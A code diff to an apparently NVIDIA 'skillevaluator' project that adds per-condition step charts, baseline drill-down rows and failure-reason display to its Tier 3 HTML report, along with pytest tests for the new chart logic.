+ cost = len(_compact_json(key).encode("utf-8")) + len(_compact_json(value).encode("utf-8")) + 2
+ if cost <= room:
+ container[key] = value
+ room -= cost
+ else:
+ omitted += 1
+ return omitted
+
+
+def _capped_tier3_trial_rows(payload: dict[str, Any]) -> int:
+ """Count the drill-down rows the bounded preview walk leaves out.
+
+ The walk keeps the first ``_TIER3_HTML_PREVIEW_COLLECTION_ITEMS`` entries of
+ every list and mapping: with-skill rows across all agents in the top-level
+ ``trials``, baseline rows per agent, and the first agents.
+ """
+ limit = _TIER3_HTML_PREVIEW_COLLECTION_ITEMS
+ trials = payload.get("trials")
+ omitted = max(0, len(trials) - limit) if isinstance(trials, list) else 0
+ agents = payload.get("agents")
+ for index, agent in enumerate(agents.values() if isinstance(agents, dict) else []):
+ baseline = agent.get("trials_baseline") if isinstance(agent, dict) else None
+ if isinstance(baseline, list):
+ omitted += len(baseline) if index >= limit else max(0, len(baseline) - limit)
+ return omitted
+
+
def _bounded_tier3_preview(payload: dict[str, Any] | None) -> tuple[dict[str, Any] | None, dict[str, int]]:
- """Return a presentation-only projection plus visible omission counts."""
- if not payload or len(_compact_json(payload).encode("utf-8")) <= _TIER3_HTML_PREVIEW_TRIGGER_BYTES:
+ """Return a presentation-only projection plus visible omission counts.
+
+ Built failure reasons and excerpts are optional for the overview, so they
+ are taken out first and put back only into room left under the preview
+ trigger. They can never spend the bounded preview budget ahead of the
+ overview keys. ``trial_rows`` counts only drill-down rows the walk capped,
+ so the drill-down note does not fire when only another list was trimmed.
+ """
+ if not payload:
+ return payload, {}
+ serialized = _compact_json(payload)
+ if len(serialized.encode("utf-8")) <= _TIER3_HTML_PREVIEW_TRIGGER_BYTES:
return payload, {}
+ from skillevaluator.evaluation.tier3_findings import failure_reason_text_slots, strip_failure_reason_text
+
+ # A private copy: the caller embeds ``payload`` itself as the canonical data.
+ slim = json.loads(serialized)
+ rendered_slots = list(failure_reason_text_slots(slim, include_top_level_cards=False))
+ deferred = [(container, key, container.pop(key)) for container, key in rendered_slots]
+ # The page renders each agent's cards, never the top-level card copy, so its
+ # reasons are dropped without being restored or counted as left out.
+ strip_failure_reason_text(slim)
+ slim_size = len(_compact_json(slim).encode("utf-8"))
+ if slim_size <= _TIER3_HTML_PREVIEW_TRIGGER_BYTES:
+ omitted_reasons = _restore_failure_reason_text(deferred, _TIER3_HTML_PREVIEW_TRIGGER_BYTES - slim_size)
+ return slim, {"failure_reasons": omitted_reasons} if omitted_reasons else {}
+
budget = _Tier3PreviewBudget()
- preview = _bounded_tier3_preview_value(payload, budget)
+ preview = _bounded_tier3_preview_value(slim, budget)
notice = {
key: value
for key, value in {
"characters": budget.omitted_characters,
"items": budget.omitted_items,
+ "trial_rows": _capped_tier3_trial_rows(slim),
+ "failure_reasons": len(deferred),
}.items()
if value > 0
}
@@ -3215,6 +3318,12 @@ class HTMLReporter(ReporterBase):
tier3_canonical_encoding=tier3_canonical_encoding,
tier3_truncation=tier3_truncation,
tier3_preview_notice=tier3_preview_notice,
+ # From the full display payload: the bounded preview can cap rows
+ # unevenly per condition and blank identity fields of late rows.
+ steps_by_case_chart=steps_by_case_chart(
+ tier3_data.get("agents") if isinstance(tier3_data, dict) else {},
+ tier3_data.get("trials") if isinstance(tier3_data, dict) else [],
+ ),
tier1_summary=tier1_summary,
skillspector_versions=tier1_skillspector_versions,
skillspector_provenance=tier1_skillspector_provenance,
diff --git a/src/skillevaluator/reporting/templates/report.html.j2 b/src/skillevaluator/reporting/templates/report.html.j2
index ce0dde3e..982c7322 100644
--- a/src/skillevaluator/reporting/templates/report.html.j2
+++ b/src/skillevaluator/reporting/templates/report.html.j2
@@ -2328,6 +2328,9 @@
.t3-eval-evidence li .t3-ev-id { font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace; font-weight:700; color:var(--secondary-color); }
.t3-eval-evidence li .t3-ev-count { font-size:0.7rem; color:var(--text-secondary); font-weight:700; padding:0.1rem 0.4rem; border-radius:4px; background:var(--bg-tertiary); }
.t3-eval-evidence li .t3-ev-notes { color:var(--text-secondary); font-size:0.78rem; }
+ .t3-eval-evidence li .t3-ev-detail { grid-column:1 / -1; display:flex; flex-wrap:wrap; align-items:center; gap:0.5rem; }
+ .t3-ev-excerpt { font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace; font-size:0.76rem; padding:0.15rem 0.4rem; border-radius:4px; background:var(--bg-tertiary); color:var(--text-secondary); overflow-wrap:anywhere; }
+ .t3-score-reason { border-bottom:1px dotted currentColor; cursor:help; }
/* Attempt Details: SkillEvaluator-style chip table for per-case attempt scores */
.t3-attempt-list { display:flex; flex-wrap:wrap; gap:6px; min-width:180px; }
@@ -2442,10 +2445,14 @@
{% endif %}
{% if tier3_preview_notice %}
<span>
- HTML preview omitted
- {% if tier3_preview_notice.characters %}{{ tier3_preview_notice.characters }} characters{% endif %}
- {% if tier3_preview_notice.characters and tier3_preview_notice.items %} and {% endif %}
- {% if tier3_preview_notice.items %}{{ tier3_preview_notice.items }} items{% endif %}.
+ {# Subscript lookups: ``notice.items`` would resolve to the dict method. #}
+ {% set t3_preview_omitted = [] %}
+ {% if tier3_preview_notice.get('characters') %}{% set _ = t3_preview_omitted.append(tier3_preview_notice['characters'] ~ ' characters') %}{% endif %}
+ {% if tier3_preview_notice.get('items') %}{% set _ = t3_preview_omitted.append(tier3_preview_notice['items'] ~ ' items') %}{% endif %}
+ {% if t3_preview_omitted %}HTML preview omitted {{ t3_preview_omitted | join(' and ') }}.{% endif %}
+ {% if tier3_preview_notice.failure_reasons %}
+ HTML preview left out {{ tier3_preview_notice.failure_reasons }} failure reason{{ 's' if tier3_preview_notice.failure_reasons != 1 else '' }} or excerpt{{ 's' if tier3_preview_notice.failure_reasons != 1 else '' }} to keep the overview complete.
+ {% endif %}
JSON Downloads preserve the complete bounded canonical payload.
</span>
{% endif %}
@@ -2767,9 +2774,35 @@
{# ---------- Trials ---------- #}
<section class="t3-page" id="tier3-page-trials">
+ {# Drill-down rows for both conditions: with-skill rows come from the canonical
+ top-level trials, baseline rows from each agent's trials_baseline. #}
+ {% set t3_condition_trial_rows = [] %}
+ {% set t3_row_agents = t3_agents.keys() | list %}
+ {% for trial in tier3.trials or [] %}
+ {% if (trial.agent or '(default)') not in t3_row_agents %}
+ {% set _ = t3_row_agents.append(trial.agent or '(default)') %}
+ {% endif %}
+ {% endfor %}
+ {% for agent_name in t3_row_agents %}
+ {% for trial in tier3.trials or [] %}
+ {% if (trial.agent or '(default)') == agent_name %}
+ {% set _ = t3_condition_trial_rows.append({'agent': agent_name, 'condition': 'With skill', 'trial': trial}) %}
+ {% endif %}
+ {% endfor %}
+ {% set t3_row_agent = t3_agents.get(agent_name) %}
+ {% if t3_row_agent is mapping %}
+ {% for trial in t3_row_agent.get('trials_baseline') or [] %}
+ {% if trial is mapping %}
+ {% set _ = t3_condition_trial_rows.append({'agent': agent_name, 'condition': 'Without skill', 'trial': trial}) %}
+ {% endif %}
+ {% endfor %}
+ {% endif %}
+ {% endfor %}
{% set t3_eval_ids = [] %}
{% set t3_trial_score_keys = [] %}
- {% for trial in tier3.trials or [] %}
+ {% set t3_baseline_score_keys = [] %}
+ {% for row in t3_condition_trial_rows %}
+ {% set trial = row.trial %}
{% for score_map in [trial.scores, trial.baseline_scores, trial.lift_scores] %}
{% if score_map is mapping %}
{% for metric_id in score_map.keys() %}
@@ -2779,12 +2812,26 @@
{% endfor %}
{% endif %}
{% endfor %}
+ {% if row.condition == 'Without skill' and trial.scores is mapping %}
+ {% for metric_id in trial.scores.keys() %}
+ {% if metric_id not in t3_baseline_score_keys %}
+ {% set _ = t3_baseline_score_keys.append(metric_id) %}
+ {% endif %}
+ {% endfor %}
+ {% endif %}
{% endfor %}
{% for metric_id in t3_metric_ids %}
{% if metric_id in t3_trial_score_keys %}
{% set _ = t3_eval_ids.append(metric_id) %}
{% endif %}
{% endfor %}
+ {# Baseline rows can score metrics the best agent's with-skill evaluators do not list;
+ they still get a column so a failing baseline score and its reason are visible. #}
+ {% for metric_id in t3_baseline_score_keys %}
+ {% if metric_id not in t3_eval_ids %}
+ {% set _ = t3_eval_ids.append(metric_id) %}
+ {% endif %}
+ {% endfor %}
{% if not t3_eval_ids and not t3_trial_score_keys %}{% set t3_eval_ids = t3_metric_ids %}{% endif %}
{# Pass@K is hoisted to the top of Trials so the rate sits immediately above
@@ -2923,7 +2970,7 @@
</details>
{% endif %}
- {% if tier3.trials %}
+ {% if t3_condition_trial_rows %}
{% set t3_trial_agent_groups = (tier3.trials or []) | groupby('agent') %}
{% set t3_token_coverage = namespace(all_agents_complete=(t3_trial_agent_groups | length == (tier3.agents or {}) | length)) %}
@@ -2933,15 +2980,15 @@
{% set t3_token_coverage.all_agents_complete = false %}
{% endif %}
{% endfor %}
- {% set t3_step_trials = (tier3.trials or []) | selectattr('steps', 'defined') | list %}
+ {% set t3_steps_chart = steps_by_case_chart | default({'labels': [], 'datasets': []}) %}
{# Charts moved above the heatmap so the visualization narrative is summary-chart -> pivot -> drill-down #}
- {% if t3_token_coverage.all_agents_complete or t3_step_trials %}
+ {% if t3_token_coverage.all_agents_complete or t3_steps_chart.datasets %}
<details class="t3-details" open>
<summary>Trial Charts</summary>
<div class="t3-details-body">
<div class="chart-grid">
{% if t3_token_coverage.all_agents_complete %}<div class="chart-card"><h3>With-Skill Token Usage by Agent</h3><canvas id="tier3-token-chart" height="250"></canvas></div>{% endif %}
- {% if t3_step_trials %}<div class="chart-card"><h3>With-Skill Steps per Eval Case</h3><canvas id="tier3-steps-chart" height="250"></canvas></div>{% endif %}
+ {% if t3_steps_chart.datasets %}<div class="chart-card"><h3>Steps per Eval Case by Agent and Condition</h3><canvas id="tier3-steps-chart" height="250"></canvas>{% if t3_steps_chart.get('omitted_cases') %}<p style="color:var(--text-secondary);font-size:0.82rem;">Showing the first {{ t3_steps_chart.labels | length }} eval cases; {{ t3_steps_chart['omitted_cases'] }} more are in the JSON Downloads.</p>{% endif %}</div>{% endif %}
</div>
</div>
</details>
@@ -3063,32 +3110,40 @@
{# ----- Detailed per-evaluator drill-down (collapsed; preserves all original info) ----- #}
<details class="t3-details">
- <summary>With-Skill Per-Evaluator Drill-Down</summary>
+ <summary>Per-Evaluator Drill-Down</summary>
<div class="t3-details-body">
<div class="t3-filter-bar">
- <input class="t3-filter-input" type="search" placeholder="Filter by agent, case, score..." oninput="tier3FilterTable(this, 't3-trials-table')" aria-label="Filter trials">
- <span class="t3-filter-count" data-tier3-filter-count="t3-trials-table">{{ tier3.trials | length }} / {{ tier3.trials | length }}</span>
+ <input class="t3-filter-input" type="search" placeholder="Filter by agent, condition, case, score..." oninput="tier3FilterTable(this, 't3-trials-table')" aria-label="Filter trials">
+ <span class="t3-filter-count" data-tier3-filter-count="t3-trials-table">{{ t3_condition_trial_rows | length }} / {{ t3_condition_trial_rows | length }}</span>
</div>
+ {% if tier3_preview_notice and tier3_preview_notice.get('trial_rows') %}
+ <p style="color:var(--text-secondary);font-size:0.82rem;">The HTML preview left out {{ tier3_preview_notice['trial_rows'] }} per-trial row{{ 's' if tier3_preview_notice['trial_rows'] != 1 else '' }}: it caps with-skill rows across all agents and baseline rows per agent, so the two conditions can list different numbers of rows. JSON Downloads keep every trial.</p>
+ {% endif %}
<div class="table-scroll">
<table class="summary-table" id="t3-trials-table">
<thead><tr>
- <th>Agent</th><th>Entry</th><th>Overall</th>
+ <th>Agent</th><th>Condition</th><th>Entry</th><th>Overall</th>
{% for eval_id in t3_eval_ids %}<th>{{ eval_id | replace("_", " ") | title }}</th>{% endfor %}
<th>Steps</th><th>Tokens</th><th>Warnings</th>
</tr></thead>
<tbody>
- {% for trial in tier3.trials %}
+ {% for row in t3_condition_trial_rows %}
+ {% set trial = row.trial %}
{% set scores = trial.scores or {} %}
+ {% set reasons = trial.score_reasons if trial.score_reasons is mapping else {} %}
{% set tokens = trial.tokens or {} %}
<tr>
- <td><strong>{{ trial.agent or '(default)' }}</strong></td>
+ <td><strong>{{ row.agent }}</strong></td>
+ <td>{{ row.condition }}</td>
<td style="font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;font-size:0.82rem;">{{ trial.entry_id or trial.trial_id or '?' }}</td>
<td style="background:{{ 'rgba(34,197,94,0.14)' if (trial.overall or 0) >= 0.7 else ('rgba(234,179,8,0.14)' if (trial.overall or 0) >= 0.4 else 'rgba(239,68,68,0.14)') }}; color:{{ 'var(--success-color)' if (trial.overall or 0) >= 0.7 else ('var(--warning-color)' if (trial.overall or 0) >= 0.4 else 'var(--danger-color)') }};font-weight:700;">
{{ "%.2f" | format(trial.overall) if trial.overall is not none else "—" }}
</td>
{% for eval_id in t3_eval_ids %}
{% set s = scores.get(eval_id) %}
- <td style="{% if s is not none %}background:{{ 'rgba(34,197,94,0.14)' if s >= 0.7 else ('rgba(234,179,8,0.14)' if s >= 0.4 else 'rgba(239,68,68,0.14)') }}; color:{{ 'var(--success-color)' if s >= 0.7 else ('var(--warning-color)' if s >= 0.4 else 'var(--danger-color)') }}; font-weight:600;{% endif %}">{{ "%.2f" | format(s) if s is not none else "—" }}</td>
+ {% set cell_reason = reasons.get(eval_id) if s is not none else none %}
+ {% set cell_text = "%.2f" | format(s) if s is not none else "—" %}
+ <td style="{% if s is not none %}background:{{ 'rgba(34,197,94,0.14)' if s >= 0.7 else ('rgba(234,179,8,0.14)' if s >= 0.4 else 'rgba(239,68,68,0.14)') }}; color:{{ 'var(--success-color)' if s >= 0.7 else ('var(--warning-color)' if s >= 0.4 else 'var(--danger-color)') }}; font-weight:600;{% endif %}"{% if cell_reason %} title="{{ eval_id | replace('_', ' ') | title }}: {{ cell_reason }}"{% endif %}>{% if cell_reason %}<span class="t3-score-reason">{{ cell_text }}</span>{% else %}{{ cell_text }}{% endif %}</td>
{% endfor %}
<td>{{ trial.steps if trial.steps is number else "—" }}</td>
<td>{% if tokens.prompt is number and tokens.completion is number %}{{ tokens.prompt + tokens.completion }}{% else %}—{% endif %}</td>
@@ -3368,14 +3423,16 @@
<span class="t3-bar-value" style="color:{{ card_color }};">{{ "%.2f" | format(card_score) }}</span>
</div>
{% if card.evidence %}
- {# Deduplicate evidence by entry_id: count + average score, keep notes/failures from first non-empty #}
+ {# Deduplicate evidence by entry_id: count + average score. Reasons come from the
+ lowest-scoring attempt that explains itself, so a passing attempt cannot hide
+ a failing attempt's reason; otherwise keep the first non-empty text. #}
{% set dedup_map = {} %}
{% set dedup_order = [] %}
{% for ev in card.evidence %}
{% set eid = ev.entry_id or 'trial' %}
{% if eid not in dedup_map %}
{% set _ = dedup_order.append(eid) %}
- {% set _ = dedup_map.update({eid: {'count': 0, 'sum': 0.0, 'with_score': 0, 'notes': [], 'failures': [], 'checks': [], 'evidence_refs': []}}) %}
+ {% set _ = dedup_map.update({eid: {'count': 0, 'sum': 0.0, 'with_score': 0, 'notes': [], 'failures': [], 'checks': [], 'evidence_refs': [], 'excerpt': none, 'reason_score': none}}) %}
{% endif %}
{% set entry = dedup_map[eid] %}
{% set ev_occurrences = ev.occurrences or 1 %}
@@ -3383,8 +3440,15 @@
{% if ev.score is not none %}
{% set _ = entry.update({'sum': entry.sum + (ev.score * ev_occurrences), 'with_score': entry.with_score + ev_occurrences}) %}
{% endif %}
- {% if ev.notes and not entry.notes %}{% set _ = entry.update({'notes': ev.notes}) %}{% endif %}
- {% if ev.failures and not entry.failures %}{% set _ = entry.update({'failures': ev.failures}) %}{% endif %}
+ {# A built reason stands in for grader notes when the grader recorded none. #}
+ {% set ev_notes = ev.notes or ([ev.reason] if ev.reason else []) %}
+ {% if (ev_notes or ev.failures or ev.excerpt) and ev.score is not none and (entry.reason_score is none or ev.score < entry.reason_score) %}
+ {% set _ = entry.update({'notes': ev_notes, 'failures': ev.failures or [], 'excerpt': ev.excerpt or none, 'reason_score': ev.score}) %}
+ {% elif entry.reason_score is none %}
+ {% if ev_notes and not entry.notes %}{% set _ = entry.update({'notes': ev_notes}) %}{% endif %}
+ {% if ev.failures and not entry.failures %}{% set _ = entry.update({'failures': ev.failures}) %}{% endif %}
+ {% if ev.excerpt and not entry.excerpt %}{% set _ = entry.update({'excerpt': ev.excerpt}) %}{% endif %}
+ {% endif %}
{% if ev.checks and not entry.checks %}{% set _ = entry.update({'checks': ev.checks}) %}{% endif %}
{% if ev.evidence_refs and not entry.evidence_refs %}{% set _ = entry.update({'evidence_refs': ev.evidence_refs}) %}{% endif %}
{% endfor %}
@@ -3392,7 +3456,7 @@
{% for ev in card.evidence %}
{% set evidence_totals.trials = evidence_totals.trials + (ev.occurrences or 1) %}
{% endfor %}
- <details class="t3-eval-evidence">
+ <details class="t3-eval-evidence"{% if card.status == 'fail' %} open{% endif %}>
{% if card.evidence_sampling and card.evidence_sampling.truncated %}
<summary>Per-trial evidence (&gt;={{ card.evidence_sampling.represented_cases }} cases, &gt;={{ card.evidence_sampling.represented_trials }} of {{ card.evidence_sampling.total_trials }} trials; sampled first {{ card.evidence_sampling.scanned_trials }})</summary>
{% else %}
@@ -3417,6 +3481,7 @@
{% else %}
<span class="t3-bar-value" style="color:var(--text-secondary);">N/A</span>
{% endif %}
+ {% if ev.excerpt %}<div class="t3-ev-detail"><code class="t3-ev-excerpt">{{ ev.excerpt }}</code></div>{% endif %}
</li>
{% endfor %}
</ul>
@@ -4028,32 +4093,13 @@
return totals;
}
function stepsByCaseDatasets() {
- var entries = [];
- var seen = {};
- (tier3Data.trials || []).forEach(function(trial){
- var id = trial.entry_id || trial.trial_id || "?";
- if (!seen[id]) { seen[id] = true; entries.push(id); }
+ // Precomputed per agent and condition; null marks a missing or partially measured case.
+ var chart = {{ steps_by_case_chart | default({'labels': [], 'datasets': []}) | tojson | safe }};
+ chart.datasets.forEach(function(dataset, idx){
+ dataset.backgroundColor = palette[idx % palette.length] + "cc";
+ dataset.borderRadius = 4;
});
- return {
- labels: entries,
- datasets: agentEntries().map(function(item, idx){
- var name = item[0];
- return {
- label: name,
- data: entries.map(function(entry){
- var matching = (tier3Data.trials || []).filter(function(t){ return (t.agent || "default") === name && (t.entry_id || t.trial_id || "?") === entry; });
- if (!matching.length) return null;
- var observed = matching.map(function(t){ return t.steps; }).filter(function(value){
- return typeof value === "number" && Number.isFinite(value) && value >= 0;
- });
- if (observed.length !== matching.length) return null;
- return observed.reduce(function(sum, value){ return sum + value; }, 0) / observed.length;
- }),
- backgroundColor: palette[idx % palette.length] + "cc",
- borderRadius: 4
- };
- })
- };
+ return chart;
}
function destroyCharts() {
charts.forEach(function(chart){ chart.destroy(); });
diff --git a/src/skillevaluator/reporting/trial_charts.py b/src/skillevaluator/reporting/trial_charts.py
new file mode 100644
index 00000000..fb9ffc73
--- /dev/null
+++ b/src/skillevaluator/reporting/trial_charts.py
@@ -0,0 +1,115 @@
+# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+# SPDX-License-Identifier: Apache-2.0
+
+"""Condition-aware chart data derived from canonical Tier 3 trials."""
+
+from __future__ import annotations
+
+import math
+from collections.abc import Mapping
+from typing import Any
+
+DEFAULT_AGENT_LABEL = "(default)"
+# The chart is computed from the full display payload, not the bounded HTML
+# preview, so it covers every agent and condition. Its embedded data grows with
+# the number of cases, so it shows at most this many and says how many it left out.
+MAX_STEP_CHART_CASES = 200
+_MAX_LABEL_CHARS = 256
+
+
+def _step_value(trial: Mapping[str, Any]) -> float | None:
+ value = trial.get("steps")
+ if isinstance(value, bool) or not isinstance(value, int | float):
+ return None
+ try:
+ number = float(value)
+ except (OverflowError, ValueError):
+ return None
+ return number if math.isfinite(number) and number >= 0 else None
+
+
+def _entry_id(trial: Mapping[str, Any]) -> str:
+ return str(trial.get("entry_id") or trial.get("trial_id") or "?")
+
+
+def _trial_list(raw: object) -> list[Mapping[str, Any]]:
+ if not isinstance(raw, list):
+ return []
+ return [trial for trial in raw if isinstance(trial, Mapping)]
+
+
+def _finite_mean(values: list[float]) -> float | None:
+ """Average non-negative values without overflowing to infinity."""
+ if not values:
+ return None
+ scale = max(values)
+ if scale == 0:
+ return 0.0
+ mean = scale * (math.fsum(value / scale for value in values) / len(values))
+ return mean if math.isfinite(mean) else None
+
+
+def _steps_by_case(trials: list[Mapping[str, Any]]) -> dict[str, float | None]:
+ """Mean steps per case; a case with any unmeasured retry stays unavailable."""
+ grouped: dict[str, list[float | None]] = {}
+ for trial in trials:
+ grouped.setdefault(_entry_id(trial), []).append(_step_value(trial))
+ by_case: dict[str, float | None] = {}
+ for entry_id, values in grouped.items():
+ measured = [value for value in values if value is not None]
+ by_case[entry_id] = _finite_mean(measured) if len(measured) == len(values) else None
+ return by_case
+
+
+def steps_by_case_chart(
+ agents: object,
+ trials: object,
+ *,
+ with_label: str = "With skill",
+ without_label: str = "Without skill",
+ max_cases: int = MAX_STEP_CHART_CASES,
+) -> dict[str, Any]:
+ """Return step-chart labels and one dataset per agent and condition.
+
+ With-skill rows come from the canonical top-level ``trials`` (annotated with
+ ``agent``) and baseline rows from each agent's ``trials_baseline``. A series
+ with no complete measurement is omitted. Cases absent from a series, or with
+ any retry lacking step telemetry, are ``None`` so Chart.js renders a gap
+ rather than a misleading zero or partial average. Only the first
+ ``max_cases`` cases are charted; ``omitted_cases`` counts the rest.
+ """
+ agent_map = agents if isinstance(agents, Mapping) else {}
+ with_skill: dict[str, list[Mapping[str, Any]]] = {str(name): [] for name in agent_map}
+ for trial in _trial_list(trials):
+ with_skill.setdefault(str(trial.get("agent") or DEFAULT_AGENT_LABEL), []).append(trial)
+
+ series: list[tuple[str, list[Mapping[str, Any]], dict[str, float | None]]] = []
+ for name, agent_trials in with_skill.items():
+ raw_agent = agent_map.get(name)
+ baseline_trials = _trial_list(raw_agent.get("trials_baseline")) if isinstance(raw_agent, Mapping) else []
+ for condition, condition_trials in ((with_label, agent_trials), (without_label, baseline_trials)):
+ values = _steps_by_case(condition_trials)
+ if any(value is not None for value in values.values()):
+ series.append((f"{name} · {condition}", condition_trials, values))
+
+ labels: list[str] = []
+ seen: set[str] = set()
+ for _label, condition_trials, _values in series:
+ for trial in condition_trials:
+ entry_id = _entry_id(trial)
+ if entry_id not in seen:
+ seen.add(entry_id)
+ labels.append(entry_id)
+
+ omitted_cases = max(0, len(labels) - max(0, max_cases))
+ labels = labels[: max(0, max_cases)]
+ datasets: list[dict[str, Any]] = []
+ for label, _condition_trials, values in series:
+ data = [values.get(entry_id) for entry_id in labels]
+ # A series measured only on cases past the cap has nothing to draw.
+ if any(value is not None for value in data):
+ datasets.append({"label": label, "data": data})
+ chart: dict[str, Any] = {"labels": [label[:_MAX_LABEL_CHARS] for label in labels], "datasets": datasets}
+ if omitted_cases:
+ chart["omitted_cases"] = omitted_cases
+ return chart
diff --git a/tests/reporting/test_tier3_baseline_trial_views.py b/tests/reporting/test_tier3_baseline_trial_views.py
new file mode 100644
index 00000000..fc09f67f
--- /dev/null
+++ b/tests/reporting/test_tier3_baseline_trial_views.py
@@ -0,0 +1,442 @@
+# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+# SPDX-License-Identifier: Apache-2.0
+
+"""Tier 3 steps chart and per-evaluator drill-down show both evaluation conditions."""
+
+from __future__ import annotations
+
+import json
+import math
+import re
+from typing import Any
+
+import pytest
+
+from skillevaluator.evaluation.tier3_report import build_agent_eval_payload
+from skillevaluator.models import ValidationResult
+from skillevaluator.reporting import HTMLReporter
+from skillevaluator.reporting import html as html_module
+from skillevaluator.reporting.trial_charts import steps_by_case_chart
+from skillevaluator.tier3.harbor.metrics import (
+ DEFAULT_METRIC_SET,
+ DEFAULT_METRICS,
+ LEGACY_METRIC_SET,
+ LEGACY_METRICS,
+)
+
+METRICS = list(DEFAULT_METRICS)
+
+
+def test_steps_chart_averages_retries_within_each_condition() -> None:
+ chart = steps_by_case_chart(
+ {"codex": {"trials_baseline": [{"entry_id": "case-1", "steps": 40}]}},
+ [
+ {"agent": "codex", "entry_id": "case-1", "steps": 71},
+ {"agent": "codex", "entry_id": "case-1", "steps": 73},
+ ],
+ )
+
+ assert chart == {
+ "labels": ["case-1"],
+ "datasets": [
+ {"label": "codex · With skill", "data": [72.0]},
+ {"label": "codex · Without skill", "data": [40.0]},
+ ],
+ }
+
+
+def test_steps_chart_omits_unmeasured_series_and_keeps_case_gaps() -> None:
+ chart = steps_by_case_chart(
+ {
+ "codex": {"trials_baseline": [{"entry_id": "baseline-only", "steps": 8}, {"entry_id": "no-telemetry"}]},
+ "opencode": {"trials_baseline": []},
+ },
+ [
+ {"agent": "codex", "entry_id": "with-only", "steps": 12},
+ {"agent": "opencode", "entry_id": "unmeasured", "steps": None},
+ ],
+ with_label="With skill",
+ without_label="Without skill",
+ )
+
+ assert chart == {
+ "labels": ["with-only", "baseline-only", "no-telemetry"],
+ "datasets": [
+ {"label": "codex · With skill", "data": [12.0, None, None]},
+ {"label": "codex · Without skill", "data": [None, 8.0, None]},
+ ],
+ }
+
+
+def test_steps_chart_does_not_average_partially_measured_cases() -> None:
+ chart = steps_by_case_chart(
+ {},
+ [
+ {"agent": "codex", "entry_id": "partial", "steps": 10},
+ {"agent": "codex", "entry_id": "partial"},
+ {"agent": "codex", "entry_id": "complete", "steps": 4},
+ ],
+ )
+
+ assert chart["datasets"] == [{"label": "codex · With skill", "data": [None, 4.0]}]
+
+
+def test_steps_chart_rejects_non_counter_values() -> None:
+ chart = steps_by_case_chart(
+ {},
+ [
+ {"entry_id": "zero", "steps": 0},
+ {"entry_id": "text", "steps": "12"},
+ {"entry_id": "bool", "steps": True},
+ {"entry_id": "negative", "steps": -1},
+ {"entry_id": "nan", "steps": math.nan},
+ {"entry_id": "overflow", "steps": 10**1000},
+ ],
+ )
+
+ assert chart == {
+ "labels": ["zero", "text", "bool", "negative", "nan", "overflow"],
+ "datasets": [{"label": "(default) · With skill", "data": [0.0, None, None, None, None, None]}],
+ }
+
+
+def test_steps_chart_average_stays_finite_for_large_retries() -> None:
+ chart = steps_by_case_chart(
+ {},
+ [
+ {"agent": "codex", "entry_id": "large", "steps": 1e308},
+ {"agent": "codex", "entry_id": "large", "steps": 1e308},
+ ],
+ )
+
+ assert chart["datasets"][0]["data"] == [1e308]
+
+
+def test_steps_chart_caps_cases_and_drops_series_measured_only_past_the_cap() -> None:
+ chart = steps_by_case_chart(
+ {"codex": {"trials_baseline": [{"entry_id": "case-3", "steps": 9}]}},
+ [
+ {"agent": "codex", "entry_id": "case-1", "steps": 1},
+ {"agent": "codex", "entry_id": "case-2", "steps": 2},
+ ],
+ max_cases=1,
+ )
+
+ assert chart == {
+ "labels": ["case-1"],
+ "datasets": [{"label": "codex · With skill", "data": [1.0]}],
+ "omitted_cases": 2,
+ }
+
+
+def _reward(trial_id: str, entry_id: str, *, score: float, steps: int, prompt: int) -> dict[str, Any]:
+ return {
+ "trial_id": trial_id,
+ "entry_id": entry_id,
+ **dict.fromkeys(METRICS, score),
+ "_traj": {"steps": steps, "prompt_tokens": prompt, "completion_tokens": 10, "cached_tokens": 0},
+ }
+
+
+def _payload(*, include_baseline: bool = True) -> dict[str, Any]:
+ with_rewards = [_reward("case-1__attempt1", "case-1", score=0.0, steps=71, prompt=100)]
+ baseline_rewards = (
+ [_reward("case-1__baseline1", "case-1", score=1.0, steps=40, prompt=60)] if include_baseline else []
+ )
+ payload = build_agent_eval_payload(
+ "demo",
+ {
+ "codex": {
+ "execution_status": "succeeded",
+ "expected_attempts": len(with_rewards) + len(baseline_rewards),
+ "scored_attempts": len(with_rewards) + len(baseline_rewards),
+ "with_skill": dict.fromkeys(METRICS, 0.0),
+ "without_skill": dict.fromkeys(METRICS, 1.0) if include_baseline else {},
+ "rewards": with_rewards,
+ "rewards_baseline": baseline_rewards,
+ "num_trials": len(with_rewards),
+ "num_trials_baseline": len(baseline_rewards),
+ }
+ },
+ use_llm_judge=False,
+ )
+ assert payload is not None
+ return payload
+
+
+def _render(payload: dict[str, Any]) -> str:
+ result = ValidationResult(validator_name="AGENT_EVAL", validator_description="Live evaluation")
+ result.metadata["agent_eval"] = payload
+ return HTMLReporter(include_timestamp=False).render_all([result])
+
+
+def _drilldown_table(html: str) -> str:
+ match = re.search(r'<table class="summary-table" id="t3-trials-table">(.*?)</table>', html, re.DOTALL)
+ assert match is not None
+ return match.group(1)
+
+
+def _row(table: str, condition: str) -> str:
+ match = re.search(rf"<tr>(?:(?!</tr>).)*<td>{condition}</td>.*?</tr>", table, re.DOTALL)
+ assert match is not None
+ return match.group(0)
+
+
+def _cell(table: str, condition: str, column: str) -> str:
+ headers = re.findall(r"<th>(.*?)</th>", table)
+ cells = re.findall(r"<td[^>]*>(.*?)</td>", _row(table, condition), re.DOTALL)
+ return re.sub(r"<[^>]+>", "", cells[headers.index(column)]).strip()
+
+
+def _steps_chart(html: str) -> dict[str, Any]:
+ match = re.search(r"function stepsByCaseDatasets\(\) \{.*?var chart = (.*?);\n", html, re.DOTALL)
+ assert match is not None
+ return json.loads(match.group(1))
+
+
+def test_trial_charts_include_agent_condition_series() -> None:
+ html = _render(_payload())
+
+ assert "Steps per Eval Case by Agent and Condition" in html
+ assert _steps_chart(html) == {
+ "labels": ["case-1"],
+ "datasets": [
+ {"label": "codex · With skill", "data": [71.0]},
+ {"label": "codex · Without skill", "data": [40.0]},
+ ],
+ }
+
+
+def test_drilldown_renders_with_skill_and_baseline_rows() -> None:
+ html = _render(_payload())
+ table = _drilldown_table(html)
+
+ assert "<th>Agent</th><th>Condition</th><th>Entry</th><th>Overall</th>" in table
+ assert table.count("<tr>") == 3
+ assert ">0.00<" in _row(table, "With skill")
